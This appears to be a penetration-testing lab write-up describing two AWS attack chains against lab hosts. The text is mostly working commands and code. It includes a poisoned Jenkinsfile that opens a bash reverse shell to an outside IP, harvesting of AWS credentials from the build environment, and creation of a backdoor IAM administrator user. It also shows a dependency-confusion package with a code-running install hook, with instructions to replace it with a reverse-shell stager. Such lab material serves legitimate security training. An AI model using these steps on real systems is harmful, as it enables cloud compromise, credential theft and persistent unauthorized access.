Attacking AWS Cloud Infrastructure
Leaked secrets to poisoned CI/CD pipeline to AWS admin, plus a dependency-confusion attack chain.
Attacking AWS Cloud Infrastructure
Two end-to-end cloud attack chains: leaked secrets → poisoned CI/CD pipeline → AWS admin, and a dependency-chain (dependency-confusion) attack. Both start from a misconfigured public surface and end with code execution and cloud credentials.
Lab / DNS setup
$nmcli connection # find your connection name$sudo nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"$sudo systemctl restart NetworkManager$cat /etc/resolv.conf$nslookup git.offseclab.io # confirm the lab DNS answers$# Each lab restart hands out a new DNS IP — re-run the modify command.Chain 1 — Leaked Secrets to Poisoned Pipeline
Enumerate the public surface
$# Jenkins recon with Metasploit$sudo msfdb init$msfconsole --quiet$use auxiliary/scanner/http/jenkins_enum$set RHOSTS automation.offseclab.io$set TARGETURI /$run$ $# Web app + S3 discovery$dirb http://app.offseclab.io$# View source -> images served from an S3 bucket$curl https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com$head -n 51 /usr/share/wordlists/dirb/common.txt > first50.txt$dirb https://staticcontent-lgudbhv8syu2tgbk.s3.us-east-1.amazonaws.com ./first50.txt$# A .git folder in the bucket => a whole repo is exposedAbuse the AuthenticatedUsers S3 misconfig
Buckets are often set to block public access but allow any AWS-authenticated user (the AuthenticatedUsers grantee — commonly confused with "users in my account"). Configure the CLI with any valid AWS keys and list it.
$aws configure # region = the one in the bucket URL$aws s3 ls staticcontent-lgudbhv8syu2tgbkHunt secrets in the git history
$aws s3 cp s3://staticcontent-lgudbhv8syu2tgbk/README.md ./$cat README.md$mkdir static_content && aws s3 sync s3://staticcontent-lgudbhv8syu2tgbk ./static_content/$cd static_content$cat scripts/upload-to-s3.sh$ $# Automated + manual history review$sudo apt install -y gitleaks$gitleaks detect$git log$git show <commit> # a removed Authorization header often lingers here$echo "YWRtaW5pc3RyYXRvcjo5bndrcWU1aGxiY21jOTFu" | base64 --decode # recovered credsPoison the Jenkins pipeline
The Gitea repo's Jenkinsfile loads AWS credentials (withAWS(... credentials: 'aws_key')) and a webhook triggers a build on git push. Edit the Jenkinsfile to run a shell step and commit — the webhook fires the build on the Jenkins agent.
01pipeline {02 agent any03 stages {04 stage('Send Reverse Shell') {05 steps {06 withAWS(region: 'us-east-1', credentials: 'aws_key') {07 script {08 if (isUnix()) {09 sh 'bash -c "bash -i >& /dev/tcp/192.88.99.76/4242 0>&1" & '10 }11 }12 }13 }14 }15 }16}$# On the cloud Kali (needs a public IP for the callback)$sudo systemctl start apache2 # confirm build hit you$cat /var/log/apache2/access.log$nc -nvlp 4242 # catch the reverse shellEnumerate the builder (container escape awareness)
$uname -a; cat /etc/os-release$cat .ssh/authorized_keys$cat /proc/mounts # Docker container?$cat /proc/1/status | grep Cap # capability set$capsh --decode=0000003fffffffff # cap_sys_admin/cap_net_admin => privileged$env | grep AWS # harvest AWS creds from envEscalate in AWS + persist
$aws configure --profile=CompromisedJenkins$aws --profile CompromisedJenkins sts get-caller-identity$aws --profile CompromisedJenkins iam list-attached-user-policies --user-name jenkins-admin$aws --profile CompromisedJenkins iam get-user-policy --user-name jenkins-admin --policy-name jenkins-admin-role$ $# Backdoor admin user$aws --profile CompromisedJenkins iam create-user --user-name backdoor$aws --profile CompromisedJenkins iam attach-user-policy --user-name backdoor --policy-arn arn:aws:iam::aws:policy/AdministratorAccess$aws --profile CompromisedJenkins iam create-access-key --user-name backdoor$aws configure --profile=backdoorChain 2 — Dependency Chain (Confusion) Attack
Configure pip to use the lab DNS + index, then enumerate the app and OSINT for an internal package name.
$nmcli connection modify "Wired connection 1" ipv4.dns "203.0.113.84"$sudo systemctl restart NetworkManager$mkdir -p ~/.config/pip/ && nano ~/.config/pip/pip.conf$ $# From a forum post you learn the app imports an internal util package$pip download hackshort-util # "not found" on PyPI => confusion attack is viableA dependency-confusion attack serves a malicious package with the same name from a different index. If the target's extra-index-url resolves your package first, your code runs on install and/or import.
Build the malicious package
01hackshort-util/02├── setup.py03└── hackshort_util/04 ├── __init__.py05 └── utils.py # the submodule the app actually importsExecution during install — hook setup.py's install command:
01from setuptools import setup, find_packages02from setuptools.command.install import install03 04class Installer(install):05 def run(self):06 install.run(self)07 with open('/tmp/running_during_install', 'w') as f:08 f.write('code executed on install')09 10setup(11 name='hackshort-util', version='1.1.4',12 packages=find_packages(), cmdclass={'install': Installer},13)Execution during runtime — put the payload in the submodule the app imports (hackshort_util/utils.py), using __getattr__/sys.excepthook so normal calls don't error. Build and test:
$python3 ./setup.py sdist$pip install ./dist/hackshort_util-1.1.4.tar.gz$cat /tmp/running_during_installThen bump the version above the legitimate package's, publish to the index the target trusts, and swap the harmless writer for a real payload (e.g. a Meterpreter/reverse-shell stager) to land execution on the developer workstation or build environment.